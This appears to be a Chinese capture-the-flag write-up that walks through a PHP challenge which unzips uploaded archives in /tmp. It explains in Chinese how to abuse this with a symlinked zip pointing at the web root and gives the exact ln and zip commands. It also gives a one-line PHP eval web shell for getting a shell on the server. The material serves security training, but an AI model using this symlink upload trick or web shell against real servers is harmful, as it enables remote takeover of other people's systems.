赞
踩
- <?php
- error_reporting(0);
- highlight_file(__FILE__);
-
- $finfo = finfo_open(FILEINFO_MIME_TYPE);
- if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
- exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
- };
-
- //only this!
分析代码得:
-
- 1. `error_reporting(0);`:关闭错误报告。这意味着在运行过程中,任何错误或警告都不会显示。
-
- 2. `highlight_file(__FILE__);`:使用 PHP 内置的 `highlight_file` 函数,对当前文件(`__FILE__` 是一个魔术常量,表示当前文件的完整路径和文件名)进行语法高亮显示。这通常用于调试或演示代码。
-
- 3. `$finfo = finfo_open(FILEINFO_MIME_TYPE);`:使用 `finfo_open` 函数创建一个新的文件信息资源,用于检查文件的 MIME 类型。`FILEINFO_MIME_TYPE` 是一个预定义常量,表示我们只关心文件的 MIME 类型。
-
- 4. `if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){`:使用 `finfo_file` 函数检查上传文件的 MIME 类型。`$_FILES["file"]["tmp_name"]` 是上传文件在服务器上的临时路径。如果文件的 MIME 类型是 'application/zip'(即 ZIP 文件),则执行括号内的代码。
-
- 5. `exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);`:使用 `exec` 函数执行一个外部命令。这里,我们先切换到服务器上的 `/tmp` 目录,然后使用 `unzip` 命令解压上传的 ZIP 文件。`-o` 选项表示覆盖已存在的同名文件。
大概意思就是题目将我们上传的zip文件放在tmp这个目录下进行解压,因为不在var/www/html目录下解压所以不会产生解压执行文件的安全隐患,但是并没有对上传的压缩文件进行严格的检查这会导致漏洞产生
因为解压的目录更改了,所以要把解压文件所在目录放在var/www/html(因为html目录下是web环境)这样才能在解压shell文件时实现getshell
这里利用linux构造软连接使得上传文件指向到var/www/html目录下
关于软连接的了解:
linux硬链接与软链接 - crazyYong - 博客园 (cnblogs.com)
构造软连接
ln -s var/www/html test
压缩文件
zip --symlinks test1.zip test
--symlinks表示压缩软连接
上传压缩文件
这时解压文件后是软连接就会实现从tmp指向var/www/html
接下来就是在var/www/html目录下上传一个shell文件就可以了
在test的目录下创建一句话php文件
shell文件内容:
<?php @eval($_POST['cmd']);?>
然后再对test进行压缩
zip -r test1.zip test
再上传该压缩包,因为解压后的目录同名所以会覆盖原指定目录
所以此时目录是var/www/html/cmd.php
上传后访问cmd.php就可以getshell了
参考:
赞
踩
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。